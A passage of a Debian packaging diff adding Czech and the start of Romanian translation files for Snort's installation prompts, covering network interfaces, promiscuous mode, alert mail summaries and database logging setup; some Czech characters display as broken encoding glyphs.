+msgstr "Rozhraní, na kterém (kterých) má Snort naslouchat:"
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001 ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+msgid ""
+"This value is usually 'eth0', but this may be inappropriate in some network "
+"environments; for a dialup connection 'ppp0' might be more appropiate (see "
+"the output of '/sbin/ifconfig')."
+msgstr ""
+"Tato hodnota oby�ejně bývá 'eth0', ale to nemusí být v některých síťových "
+"prostředích vhodné; pro vytá�ené připojení může být vhodnější 'ppp0' (viz "
+"výstup '/sbin/ifconfig')."
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001 ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+msgid ""
+"Typically, this is the same interface as the 'default route' is on. You can "
+"determine which interface is used for this by running '/sbin/route -n' (look "
+"for '0.0.0.0')."
+msgstr ""
+"Typicky je to stejné rozhraní jako je 'výchozí směrování (default route)'. "
+"Které rozhraní se pro toto používá, můžete zjistit spuštěním '/sbin/route -"
+"n' (hledejte '0.0.0.0')."
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001 ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+msgid ""
+"It is also not uncommon to use an interface with no IP address configured in "
+"promiscuous mode. For such cases, select the interface in this system that "
+"is physically connected to the network that should be inspected, enable "
+"promiscuous mode later on and make sure that the network traffic is sent to "
+"this interface (either connected to a 'port mirroring/spanning' port in a "
+"switch, to a hub or to a tap)."
+msgstr ""
+"Také není neobvyklé použít rozhraní bez IP adresy nastavené do "
+"promiskuitního módu. V tomto případě vyberte rozhraní systému fyzicky "
+"připojené k síti a které chcete sledovat, následně povolte promiskuitní mód "
+"a ujistěte se, že je síťový provoz posílán na toto rozhraní (bu� připojené k "
+"'port mirroring/spanning' portu přepína�e, k hubu nebo k tap rozhraní)."
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001 ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+msgid ""
+"You can configure multiple interfaces, just by adding more than one "
+"interface name separated by spaces. Each interface can have its own specific "
+"configuration."
+msgstr ""
+"Můžete také zadat více rozhraní, jednoduše zapsáním více než jednoho jména "
+"rozhraní, oddělených mezerami. Každé rozhraní může mít své specifické "
+"nastavení."
+
+#. Type: string
+#. Description
+#: ../snort.templates:3001 ../snort-mysql.templates:3001
+#: ../snort-pgsql.templates:3001
+msgid "Address range for the local network:"
+msgstr "Adresní rozsah lokální sítě:"
+
+#. Type: string
+#. Description
+#: ../snort.templates:3001 ../snort-mysql.templates:3001
+#: ../snort-pgsql.templates:3001
+msgid ""
+"Please use the CIDR form - for example, 192.168.1.0/24 for a block of 256 "
+"addresses or 192.168.1.42/32 for just one. Multiple values should be comma-"
+"separated (without spaces)."
+msgstr ""
+"Použijte zápis CIDR - například 192.168.1.0/24 pro blok 256 adres nebo "
+"192.168.1.42/32 pro jednu jedinou adresu. Více adres zadejte oddělených "
+"�árkou (bez mezer)."
+
+#. Type: string
+#. Description
+#: ../snort.templates:3001 ../snort-mysql.templates:3001
+#: ../snort-pgsql.templates:3001
+msgid ""
+"Please note that if Snort is configured to use multiple interfaces, it will "
+"use this value as the HOME_NET definition for all of them."
+msgstr ""
+"Pokud je Snort nakonfigurován pro použití více rozhraní, použije tuto "
+"hodnotu jako definici HOME_NET pro všechna z nich."
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:4001 ../snort-mysql.templates:4001
+#: ../snort-pgsql.templates:4001
+msgid "Should Snort disable promiscuous mode on the interface?"
+msgstr "Má Snort zakázat promiskuitní mód na tomto rozhraní?"
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:4001 ../snort-mysql.templates:4001
+#: ../snort-pgsql.templates:4001
+msgid ""
+"Disabling promiscuous mode means that Snort will only see packets addressed "
+"to the interface it is monitoring. Enabling it allows Snort to check every "
+"packet that passes the Ethernet segment even if it's a connection between "
+"two other computers."
+msgstr ""
+"Zakázání promiskuitního módu znamená, že Snort uvidí jen pakety adresované "
+"rozhraní, které monitoruje. Povolení umožňuje Snortu kontrolovat každý "
+"paket, který prochází ethernetovým segmentem, i když je to spojení mezi "
+"jinými dvěma po�íta�i."
+
+#. Type: error
+#. Description
+#: ../snort.templates:5001 ../snort-mysql.templates:5001
+#: ../snort-pgsql.templates:5001
+msgid "Invalid interface"
+msgstr "Neplatné rozhraní"
+
+#. Type: error
+#. Description
+#: ../snort.templates:5001 ../snort-mysql.templates:5001
+#: ../snort-pgsql.templates:5001
+msgid ""
+"Snort is trying to use an interface which does not exist or is down. Either "
+"it is defaulting inappropriately to 'eth0', or you specified one which is "
+"invalid."
+msgstr ""
+"Snort se pokouší použít rozhraní, které neexistuje nebo je vypnuté. Bu� se "
+"jedná o výchozí nastavení na 'eth0', nebo bylo zadáno neplatné rozhraní."
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:6001 ../snort-mysql.templates:6001
+#: ../snort-pgsql.templates:6001
+msgid "Should Snort's testing order be changed to Pass|Alert|Log?"
+msgstr "Má být pořadí testovaní Snortu změněno na Pass|Alert|Log?"
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:6001 ../snort-mysql.templates:6001
+#: ../snort-pgsql.templates:6001
+msgid ""
+"Snort's default testing order is Alert|Pass|Log; if you accept this option, "
+"the order will be changed to Pass|Alert|Log, which can make it simpler to "
+"use Snort with some packet-filtering tools."
+msgstr ""
+"Výchozí pořadí testování Snortu je Alert|Pass|Log; pokud tuto volbu "
+"odsouhlasíte, bude pořadí změněno na Pass|Alert|Log, což může usnadnit "
+"použití Snortu s některými nástroji filtrace paketů."
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:7001 ../snort-mysql.templates:7001
+#: ../snort-pgsql.templates:7001
+msgid "Should daily summaries be sent by e-mail?"
+msgstr "Mají se denní souhrny zasílat e-mailem?"
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:7001 ../snort-mysql.templates:7001
+#: ../snort-pgsql.templates:7001
+msgid ""
+"A cron job can be set up to send daily summaries of Snort logs to a selected "
+"e-mail address."
+msgstr ""
+"Pro zasílání denních souhrnů logů Snortu na zvolenou e-mailovou adresu může "
+"být nastavena úloha cronu."
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:7001 ../snort-mysql.templates:7001
+#: ../snort-pgsql.templates:7001
+msgid "Please choose whether you want to activate this feature."
+msgstr "Zvolte, zda chcete aktivovat tuto možnost."
+
+#. Type: string
+#. Description
+#: ../snort.templates:8001 ../snort-mysql.templates:8001
+#: ../snort-pgsql.templates:8001
+msgid "Recipient of daily statistics mails:"
+msgstr "Příjemce denních mailů se statistikami:"
+
+#. Type: string
+#. Description
+#: ../snort.templates:8001 ../snort-mysql.templates:8001
+#: ../snort-pgsql.templates:8001
+msgid ""
+"Please specify the e-mail address that should receive daily summaries of "
+"Snort logs."
+msgstr ""
+"Zadejte e-mailovou adresu, na kterou mají být zasílány denní souhrny logů "
+"Snortu."
+
+#. Type: string
+#. Description
+#: ../snort.templates:9001 ../snort-mysql.templates:9001
+#: ../snort-pgsql.templates:9001
+msgid "Additional custom options:"
+msgstr "Další vlastní volby:"
+
+#. Type: string
+#. Description
+#: ../snort.templates:9001 ../snort-mysql.templates:9001
+#: ../snort-pgsql.templates:9001
+msgid "Please specify any additional options Snort should use."
+msgstr "Zadejte jakékoliv další volby, které by měl Snort použít."
+
+#. Type: string
+#. Description
+#: ../snort.templates:10001 ../snort-mysql.templates:10001
+#: ../snort-pgsql.templates:10001
+msgid "Minimum occurrences before alerts are reported:"
+msgstr "Minimální po�et výskytů před hlášením upozornění:"
+
+#. Type: string
+#. Description
+#: ../snort.templates:10001 ../snort-mysql.templates:10001
+#: ../snort-pgsql.templates:10001
+msgid ""
+"Please enter the minimum number of alert occurrences before a given alert is "
+"included in the daily statistics."
+msgstr ""
+"Zadejte minimální po�et výskytů upozornění před tím, než je toto upozornění "
+"obsaženo v denní statistice."
+
+#. Type: note
+#. Description
+#: ../snort.templates:11001 ../snort-mysql.templates:11001
+#: ../snort-pgsql.templates:11001
+msgid "Snort restart required"
+msgstr "Vyžadován restart Snortu"
+
+#. Type: note
+#. Description
+#: ../snort.templates:11001 ../snort-mysql.templates:11001
+#: ../snort-pgsql.templates:11001
+msgid ""
+"As Snort is manually launched, you need to run '/etc/init.d/snort' for the "
+"changes to take place."
+msgstr ""
+"Jelikož je Snort spouštěn ru�ně, pro uplatnění změn musíte spustit '/etc/"
+"init.d/snort'."
+
+#. Type: error
+#. Description
+#: ../snort.templates:12001 ../snort-mysql.templates:12001
+#: ../snort-pgsql.templates:12001
+msgid "Configuration error"
+msgstr "Chyba konfigurace"
+
+#. Type: error
+#. Description
+#: ../snort.templates:12001 ../snort-mysql.templates:12001
+#: ../snort-pgsql.templates:12001
+msgid ""
+"The current Snort configuration is invalid and will prevent Snort starting "
+"up normally. Please review and correct it."
+msgstr ""
+"Aktuální konfigurace Snortu je neplatná a Snort nebude možné normálně "
+"spustit. Zkontrolujte a opravte ji."
+
+#. Type: error
+#. Description
+#: ../snort.templates:12001 ../snort-mysql.templates:12001
+#: ../snort-pgsql.templates:12001
+msgid ""
+"To diagnose an error in a Snort configuration file, use '/usr/sbin/snort -T -"
+"c <file>'."
+msgstr ""
+"Pro diagnostikování chyby v konfigura�ním souboru Snortu použijte '/usr/sbin/"
+"snort -T -c <file>'."
+
+#. Type: error
+#. Description
+#: ../snort.templates:13001 ../snort-mysql.templates:13001
+#: ../snort-pgsql.templates:13001
+msgid "Obsolete configuration file"
+msgstr "Zastaralý konfigura�ní soubor"
+
+#. Type: error
+#. Description
+#: ../snort.templates:13001 ../snort-mysql.templates:13001
+#: ../snort-pgsql.templates:13001
+msgid ""
+"This system uses an obsolete configuration file (/etc/snort/snort.common."
+"parameters) which has been automatically converted into the new "
+"configuration file format (at /etc/default/snort)."
+msgstr ""
+"Tento systém používá zastaralý konfigura�ní soubor (/etc/snort/snort.common."
+"parameters), který byl automaticky převeden do nového formátu konfigura�ního "
+"souboru (v /etc/default/snort)."
+
+#. Type: error
+#. Description
+#: ../snort.templates:13001 ../snort-mysql.templates:13001
+#: ../snort-pgsql.templates:13001
+msgid ""
+"Please review the new configuration and remove the obsolete one. Until you "
+"do this, the initialization script will not use the new configuration and "
+"you will not take advantage of the benefits introduced in newer releases."
+msgstr ""
+"Zkontrolujte novou konfiguraci a odstraňte tu zastaralou. Dokud to "
+"neuděláte, inicializa�ní skript nebude používat novou konfiguraci a "
+"nevyužijete tak výhod představených v novějších verzích."
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001
+msgid "Set up a database for snort-mysql to log to?"
+msgstr "Nastavit databázi, do které má snort-mysql logovat?"
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001 ../snort-pgsql.templates:14001
+msgid ""
+"No database has been set up for Snort to log to. Before continuing, you "
+"should make sure you have:"
+msgstr ""
+"Nebyla nastavena žádná databáze, do které má Snort logovat. Před "
+"pokra�ováním byste se měli ujistit, že máte:"
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001 ../snort-pgsql.templates:14001
+msgid ""
+" - the server host name (that server must allow TCP connections\n"
+"   from this machine);\n"
+" - a database on that server;\n"
+" - a username and password to access the database."
+msgstr ""
+" - jméno serveru (který musí přijímat TCP spojení z tohoto stroje);\n"
+" - databázi na tomto serveru;\n"
+" - přihlašovací jméno a heslo pro přístup k databázi."
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001 ../snort-pgsql.templates:14001
+msgid ""
+"If some of these requirements are missing, reject this option and run with "
+"regular file logging support."
+msgstr ""
+"Pokud nekteré z těchto požadavků chybí, zamítněte tuto volbu a používejte "
+"běžnou podporu logování do souboru."
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001
+msgid ""
+"Database logging can be reconfigured later by running 'dpkg-reconfigure -"
+"plow snort-mysql'."
+msgstr ""
+"Logování do databáze může být později nastaveno spuštěním 'dpkg-reconfigure -"
+"plow snort-mysql'."
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:15001 ../snort-pgsql.templates:15001
+msgid "Database server hostname:"
+msgstr "Jméno databázového serveru:"
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:15001 ../snort-pgsql.templates:15001
+msgid ""
+"Please specify the host name of a database server that allows incoming "
+"connections from this host."
+msgstr ""
+"Zadejte hostitelské jméno databázového serveru, který přijímá příchozí "
+"spojení z tohoto po�íta�e."
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:16001 ../snort-pgsql.templates:16001
+msgid "Database name:"
+msgstr "Jméno databáze:"
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:16001 ../snort-pgsql.templates:16001
+msgid ""
+"Please specify the name of an existing database to which the database user "
+"has write access."
+msgstr ""
+"Zadejte jméno existující databáze, ke které má databázový uživatel přístup "
+"pro zápis."
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:17001 ../snort-pgsql.templates:17001
+msgid "Username for database access:"
+msgstr "Uživatelské jméno pro přístup k databázi:"
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:17001 ../snort-pgsql.templates:17001
+msgid ""
+"Please specify a database server username with write access to the database."
+msgstr ""
+"Zadejte uživatelské jméno databázového serveru s přístupem pro zápis k "
+"databázi."
+
+#. Type: password
+#. Description
+#: ../snort-mysql.templates:18001 ../snort-pgsql.templates:18001
+msgid "Password for the database connection:"
+msgstr "Heslo pro připojení k databázi:"
+
+#. Type: password
+#. Description
+#: ../snort-mysql.templates:18001 ../snort-pgsql.templates:18001
+msgid ""
+"Please enter the password to use to connect to the Snort Alert database."
+msgstr "Zadejte heslo pro připojení k Snort Alert databázi."
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001 ../snort-pgsql.templates:19001
+msgid "Configured database mandatory for Snort"
+msgstr "Nutná nastavená databáze pro Snort"
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001 ../snort-pgsql.templates:19001
+msgid ""
+"Snort needs a configured database before it can successfully start up. In "
+"order to create the structure you need to run the following commands AFTER "
+"the package is installed:"
+msgstr ""
+"Pro úspěšný start potřebuje Snort nastavenou databázi. Pro vytvoření "
+"struktury databáze musíte PO INSTALACI balíku spustit následující příkazy:"
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001
+msgid ""
+" cd /usr/share/doc/snort-mysql/\n"
+" zcat create_mysql.gz | mysql -u <user> -h <host> -p <databasename>"
+msgstr ""
+" cd /usr/share/doc/snort-mysql/\n"
+" zcat create_mysql.gz | mysql -u <uživatel> -h <po�íta�> -p <databáze>"
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001
+msgid ""
+"Fill in the correct values for the user, host, and database names. MySQL "
+"will prompt you for the password."
+msgstr ""
+"Doplňte korektní hodnoty jmen uživatele, po�íta�e a po�íta�e. MySQL se vás "
+"zeptá na heslo."
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001 ../snort-pgsql.templates:19001
+msgid ""
+"After you have created the database structure, you will need to start Snort "
+"manually."
+msgstr "Po vytvoření struktury databáze budete muset Snort spustit ru�ně."
+
+#. Type: boolean
+#. Description
+#: ../snort-pgsql.templates:14001
+msgid "Set up a database for snort-pgsql to log to?"
+msgstr "Nastavit databázi, do které má snort-pgsql logovat?"
+
+#. Type: boolean
+#. Description
+#: ../snort-pgsql.templates:14001
+msgid ""
+"Database logging can be reconfigured later by running 'dpkg-reconfigure -"
+"plow snort-pgsql'."
+msgstr ""
+"Logování do databáze může být později nastaveno spuštěním 'dpkg-reconfigure -"
+"plow snort-pgsql'."
+
+#. Type: note
+#. Description
+#: ../snort-pgsql.templates:19001
+msgid ""
+" cd /usr/share/doc/snort-pgsql/\n"
+" zcat create_postgresql.gz | psql -U <user> -h <host> -W <databasename>"
+msgstr ""
+" cd /usr/share/doc/snort-pgsql/\n"
+" zcat create_postgresql.gz | psql -U <uživatel> -h <po�íta�> -W <databáze>"
+
+#. Type: note
+#. Description
+#: ../snort-pgsql.templates:19001
+msgid ""
+"Fill in the correct values for the user, host, and database names. "
+"PostgreSQL will prompt you for the password."
+msgstr ""
+"Doplňte korektní hodnoty jmen uživatele, po�íta�e a po�íta�e. PostgreSQL se "
+"vás zeptá na heslo."
+
+#. Type: note
+#. Description
+#: ../snort-common.templates:1001
+msgid "Deprecated configuration file"
+msgstr "Zrušený konfigura�ní soubor"
+
+#. Type: note
+#. Description
+#: ../snort-common.templates:1001
+msgid ""
+"The Snort configuration file (/etc/snort/snort.conf) uses deprecated options "
+"no longer available for this Snort release. Snort will not be able to start "
+"unless you provide a correct configuration file. Either allow the "
+"configuration file to be replaced with the one provided in this package or "
+"fix it manually by removing deprecated options."
+msgstr ""
+"Konfigura�ní soubor Snortu (/etc/snort/snort.conf) používá zrušené volby, "
+"které již nejsou v tomto vydání Snortu dostupné. Snort se nebude moci "
+"spustit, dokud neposkytnete korektní konfigura�ní soubor. Můžete povolit "
+"nahrazení konfigura�ního souboru souborem obsaženým v tomto balíku nebo to "
+"opravit ru�ně odstraněním zrušených voleb."
+
+#. Type: note
+#. Description
+#: ../snort-common.templates:1001
+msgid ""
+"The following deprecated options were found in the configuration file: "
+"${DEP_CONFIG}"
+msgstr ""
+"V konfigura�ním souboru byly nalezeny následující zrušené volby: "
+"${DEP_CONFIG}"
+
+#~ msgid "You are running Snort manually"
+#~ msgstr "Spouštíte Snort ru�ně"
+
+#~ msgid "There is an error in your configuration"
+#~ msgstr "Ve vaší konfiguraci je chyba"
+
+#~ msgid "Your configuration file is deprecated"
+#~ msgstr "Váš konfigura�ní soubor obsahuje zrušené volby."
+
+#~ msgid "boot, dialup, manual"
+#~ msgstr "boot, dialup, ru�ně"
+
+#~ msgid "When should Snort be started?"
+#~ msgstr "Kdy má být Snort spouštěn?"
+
+#~ msgid ""
+#~ "If you want you can specify 'any', to not trust any side of the network."
+#~ msgstr ""
+#~ "Jestli chcete, můžete zadat 'any', pokud nedůvěřujete žádné straně sítě."
+
+#~ msgid ""
+#~ "One of the interfaces you specified is not valid (it might not exist on "
+#~ "the system or be down). Please introduce a valid interface when answering "
+#~ "the question of which interface(s) should Snort listen on."
+#~ msgstr ""
+#~ "Jedno ze zadaných rozhraní není platné (nemusí na tomto systému "
+#~ "existovat, nebo může být shozené). Na otázku, na kterých rozhraních má "
+#~ "Snort naslouchat, prosím zadávejte pouze platná rozhraní."
+
+#~ msgid ""
+#~ "If you did not configure an interface then the package is trying to use "
+#~ "the default ('eth0') which does not seem to be valid in your system."
+#~ msgstr ""
+#~ "Pokud jste nezadali žádné rozhraní, balík se pokouší použít výchozí "
+#~ "'eth0', které na tomto systému nejspíš neexistuje."
+
+#~ msgid ""
+#~ "If you change Snort's rules testing order to Pass|Alert|Log, they will be "
+#~ "applied in Pass->Alert->Log order, instead of standard Alert->Pass->Log. "
+#~ "This will prevent people from having to make huge Berky Packet Filter "
+#~ "command line arguments to filter their alert rules."
+#~ msgstr ""
+#~ "Jestliže změníte pořadí testovacích pravidel Snortu na Pass|Alert|Log "
+#~ "(Propustit|Upozornit|Logovat), budou aplikována v pořadí Pass->Alert-"
+#~ ">Log, místo standardního Alert->Pass->Log. Tím předejdete nutnosti "
+#~ "vytvářet rozsáhlé parametry příkazového řádku Berkeley Packet Filtru pro "
+#~ "filtrování upozorňovacích pravidel."
+
+#~ msgid ""
+#~ "This Snort installation provides a cron job that runs daily and "
+#~ "summarises the information of Snort logs to a selected email address. If "
+#~ "you want to disable this feature say 'no' here."
+#~ msgstr ""
+#~ "Tato instalace Snortu obsahuje cronovou úlohu, která se spouští každý den "
+#~ "a zasílá souhrn informací z logů Snortu na zadanou emailovou adresu. "
+#~ "Chcete-li tuto vlastnost zakázat, odpovězte zde záporně."
+
+#~ msgid ""
+#~ "A cron job running daily will summarise the information of the logs "
+#~ "generated by Snort using a script called 'snort-stat'. Introduce here the "
+#~ "recipient of these mails. The default value is the system administrator. "
+#~ "If you keep this value, make sure that the mail of the administrator is "
+#~ "redirected to a user that actually reads those mails."
+#~ msgstr ""
+#~ "Úloha pro cron spouštěná denně shrnuje pomocí skriptu 'snort-stat' "
+#~ "informace z logů generovaných Snortem. Uve�te zde příjemce těchto mailů. "
+#~ "Výchozí hodnota je administrátor systému. Pokud tuto hodnotu zachováte, "
+#~ "ujistěte se, že pošta pro administrátora je přesměrována uživateli, který "
+#~ "ve skute�nosti �te tyto maily."
+
+#, fuzzy
+#~| msgid ""
+#~| "If you want to specify custom options to Snort, please specify them here."
+#~ msgid ""
+#~ "If you want to specify custom options to Snort, please specify them here."
+#~ msgstr "Pokud chcete zadat vlastní parametry Snortu, zadejte je zde."
+
+#~ msgid ""
+#~ "Please restart Snort using:\n"
+#~ " /etc/init.d/snort start\n"
+#~ "to let the settings take effect."
+#~ msgstr ""
+#~ "Restartujte Snort pomocí:\n"
+#~ " /etc/init.d/snort start\n"
+#~ "aby nastavení nabyla platnosti."
+
+#~ msgid ""
+#~ "Your Snort configuration is not correct and Snort will not be able to "
+#~ "start up normally. Please review your configuration and fix it. If you do "
+#~ "not do this, Snort package upgrades will probably break. To check which "
+#~ "error is being generated run '/usr/sbin/snort -T -c /etc/snort/snort."
+#~ "conf' (or point to an alternate configuration file if you are using "
+#~ "different files for different interfaces)"
+#~ msgstr ""
+#~ "Vaše konfigurace Snortu není správná a proto se nebude moci normálně "
+#~ "spustit. Zkontrolujte konfiguraci a opravte to. Pokud to neuděláte, "
+#~ "aktualizace balíku Snortu pravděpodobně skon�í s chybou. Pro zjištění, "
+#~ "jaká chyba je generována, spusťte '/usr/sbin/snort -T -c /etc/snort/snort."
+#~ "conf' (nebo zadejte jiný konfigura�ní soubor, jestliže používáte různé "
+#~ "soubory pro různá rozhraní)"
+
+#~ msgid ""
+#~ "You only need to do this the first time you install snort-mysql. Before "
+#~ "you go on, make sure you have (1) the hostname of a machine running a "
+#~ "mysql server set up to allow tcp connections from this host, (2) a "
+#~ "database on that server, (3) a username and password to access the "
+#~ "database. If you don't have _all_ of these, either select 'no' and run "
+#~ "with regular file logging support, or fix this first. You can always "
+#~ "configure database logging later, by reconfiguring the snort-mysql "
+#~ "package with 'dpkg-reconfigure -plow snort-mysql'"
+#~ msgstr ""
+#~ "Toto je potřeba udělat jen při první instalaci snort-mysql. Než budete "
+#~ "pokra�ovat, ujistěte se, že máte (1) jméno po�íta�e, na kterém běží mysql "
+#~ "server, nastaveno pro povolení tcp spojení z tohoto po�íta�e, (2) "
+#~ "databázi na tom serveru, (3) uživatelské jméno a heslo pro přístup do "
+#~ "databáze. Pokud nemáte tohle _všechno_, zvolte 'ne' a spokojte se s "
+#~ "podporou logování do normálního souboru, nebo to nejdřív napravte. "
+#~ "Vždycky můžete nastavit logování do databáze později rekonfigurováním "
+#~ "balíku snort-mysql pomocí 'dpkg-reconfigure -plow snort-mysql'"
+
+#~ msgid "Make sure this user has been created and has write access."
+#~ msgstr "Ujistěte se, že byl tento uživatel vytvořen a že má právo zápisu."
+
+#, fuzzy
+#~| msgid "Snort needs a configured database to log to before it starts."
+#~ msgid "Snort needs a configured database to log to before it starts"
+#~ msgstr "Snort potřebuje nastavit databázi, ke které se má přihlásit."
+
+#~ msgid ""
+#~ "You only need to do this the first time you install snort-pgsql. Before "
+#~ "you go on, make sure you have (1) the hostname of a machine running a "
+#~ "pgsql server set up to allow tcp connections from this host, (2) a "
+#~ "database on that server, (3) a username and password to access the "
+#~ "database. If you don't have _all_ of these, either select 'no' and run "
+#~ "with regular file logging support, or fix this first. You can always "
+#~ "configure database logging later, by reconfiguring the snort-pgsql "
+#~ "package with 'dpkg-reconfigure -plow snort-pgsql'"
+#~ msgstr ""
+#~ "Toto je potřeba udělat jen při první instalaci snort-pgsql. Než budete "
+#~ "pokra�ovat, ujistěte se, že máte (1) jméno po�íta�e, na kterém běží pgsql "
+#~ "server, nastaveno pro povolení tcp spojení z tohoto po�íta�e, (2) "
+#~ "databázi na tom serveru, (3) uživatelské jméno a heslo pro přístup do "
+#~ "databáze. Pokud nemáte tohle _všechno_, zvolte 'ne' a spokojte se s "
+#~ "podporou logování do normálního souboru, nebo to nejdřív napravte. "
+#~ "Vždycky můžete nastavit logování do databáze později rekonfigurováním "
+#~ "balíku snort-pgsql pomocí 'dpkg-reconfigure -plow snort-pgsql'"
+
+#~ msgid ""
+#~ "Snort needs a configured database before it can successfully start up. In "
+#~ "order to create the structure you need to run the following commands "
+#~ "AFTER the package is installed:\n"
+#~ " cd /usr/share/doc/snort-pgsql/\n"
+#~ " zcat create_postgresql.gz | psql -U <user> -h <host> -W <databasename>\n"
+#~ "Fill in the correct values for the user, host, and database names. "
+#~ "PostgreSQL will prompt you for the password."
+#~ msgstr ""
+#~ "Pro úspěšný start potřebuje Snort nastavenou databázi. Abyste vytvořili "
+#~ "potřebnou strukturu databáze, musíte PO INSTALACI balíku spustit "
+#~ "následující příkazy:\n"
+#~ " cd /usr/share/doc/snort-pgsql/\n"
+#~ " zcat create_postgresql.gz | psql -U <uzivatel> -h <pocitac> -W "
+#~ "<databaze>\n"
+#~ "Doplňte správné hodnoty pro uživatele, po�íta� a jméno databáze. "
+#~ "PostgreSQL se vás zeptá na heslo."
+
+#~ msgid ""
+#~ "Please enter the name(s) of the interface(s) which Snort should listen "
+#~ "on.  The names of the available interfaces are provided by either "
+#~ "running  'ip link show' of 'ifconfig'. This value usually is 'eth0', but "
+#~ "you might want to vary this depending on your environment, if you are "
+#~ "using a dialup connection 'ppp0' might be more appropiate."
+#~ msgstr ""
+#~ "Zadejte jméno (jména) rozhraní, na kterém (kterých) má Snort naslouchat. "
+#~ "Jména dostupných rozhraní získáte spuštěním 'ip link show' nebo "
+#~ "'ifconfig'. Tato hodnota je obvykle 'eth0', ale můžete chtít jinou, v "
+#~ "závislosti na vašem konkrétním prostředí. Pokud používáte vytá�ené "
+#~ "připojení, 'ppp0' může být vhodnější."
+
+#~ msgid "Please enter the address range that Snort will listen on."
+#~ msgstr "Zadejte adresní rozsah, na kterém bude Snort naslouchat."
+
+#~ msgid ""
+#~ "Disable promiscuous mode if you are configuring Snort on an interface "
+#~ "without a configured IP address."
+#~ msgstr ""
+#~ "Zakažte promiskuitní mód, jestliže konfigurujete Snort na rozhraní bez "
+#~ "nastavené IP adresy."
+
+#~ msgid "Please enter the hostname of the mysql database server to use."
+#~ msgstr ""
+#~ "Zadejte jméno po�íta�e s mysql databázovým serverem, který se má použít."
+
+#~ msgid "Please enter the name of the database to use."
+#~ msgstr "Zadejte jméno databáze, která se má použít."
+
+#~ msgid "Please enter the name of the database user you want to use."
+#~ msgstr "Zadejte jméno databázového uživatele, které chcete použít."
+
+#~ msgid "Please enter the hostname of the pgsql database server to use."
+#~ msgstr ""
+#~ "Zadejte jméno po�íta�e s databázovým serverem pgsql, který se má použít."
+
+#~ msgid ""
+#~ "Notice that Snort is usually configured to inspect all traffic coming "
+#~ "from the Internet, so the interface you add here is usually the same the "
+#~ "'default route' is on.  You can determine which interface is used for "
+#~ "this running either 'ip route show' or '/sbin/route -n' (look for "
+#~ "'default' or '0.0.0.0')."
+#~ msgstr ""
+#~ "Snort je obvykle konfigurován pro sledování veškerého provozu "
+#~ "přicházejícího z Internetu, takže rozhraní, které zde přidáte, je obvykle "
+#~ "stejné jako je 'výchozí směrování (default route)'. Které rozhraní se pro "
+#~ "toto používá, můžete zjistit spuštěním bu� 'ip route show' nebo '/sbin/"
+#~ "route -n' (hledejte 'default' nebo '0.0.0.0')."
+
+#~ msgid "Should Snort disable promiscous mode on the interface?"
+#~ msgstr "Má Snort zakázat promiskuitní mód na tomto rozhraní?"
--- snort-2.8.5.2.orig/debian/po/ro.po
+++ snort-2.8.5.2/debian/po/ro.po
@@ -0,0 +1,826 @@
+# translation of ro.po to Romanian
+# Romanian translations for PACKAGE package
+# Traducerea în limba română pentru pachetul PACKAGE.
+# Copyright (C) 2007 THE PACKAGE'S COPYRIGHT HOLDER
+# This file is distributed under the same license as the PACKAGE package.
+#
+# Eddy Petrisor <eddy.petrisor@gmail.com>, 2007.
+# Eddy Petrișor <eddy.petrisor@gmail.com>, 2007, 2008.
+msgid ""
+msgstr ""
+"Project-Id-Version: ro\n"
+"Report-Msgid-Bugs-To: snort@packages.debian.org\n"
+"POT-Creation-Date: 2008-04-27 23:22+0200\n"
+"PO-Revision-Date: 2008-05-17 13:04+0300\n"
+"Last-Translator: Eddy Petrișor <eddy.petrisor@gmail.com>\n"
+"Language-Team: Romanian <debian-l10n-romanian@lists.debian.org>\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"Plural-Forms:  nplurals=3; plural=n==1 ? 0 : (n==0 || (n%100 > 0 && n%100 < 20)) ? 1 : 2;\n"
+"X-Generator: KBabel 1.11.4\n"
+
+#. Type: select
+#. Choices
+#: ../snort.templates:1001 ../snort-mysql.templates:1001
+#: ../snort-pgsql.templates:1001
+msgid "boot"
+msgstr "la pornirea sistemului"
+
+#. Type: select
+#. Choices
+#: ../snort.templates:1001 ../snort-mysql.templates:1001
+#: ../snort-pgsql.templates:1001
+msgid "dialup"
+msgstr "la conectarea „dialup�"
+
+#. Type: select
+#. Choices
+#: ../snort.templates:1001 ../snort-mysql.templates:1001
+#: ../snort-pgsql.templates:1001
+msgid "manual"
+msgstr "manuală"
+
+#. Type: select
+#. Description
+#: ../snort.templates:1002 ../snort-mysql.templates:1002
+#: ../snort-pgsql.templates:1002
+msgid "Snort start method:"
+msgstr "Metoda de pornire a lui Snort:"
+
+#. Type: select
+#. Description
+#: ../snort.templates:1002 ../snort-mysql.templates:1002
+#: ../snort-pgsql.templates:1002
+msgid ""
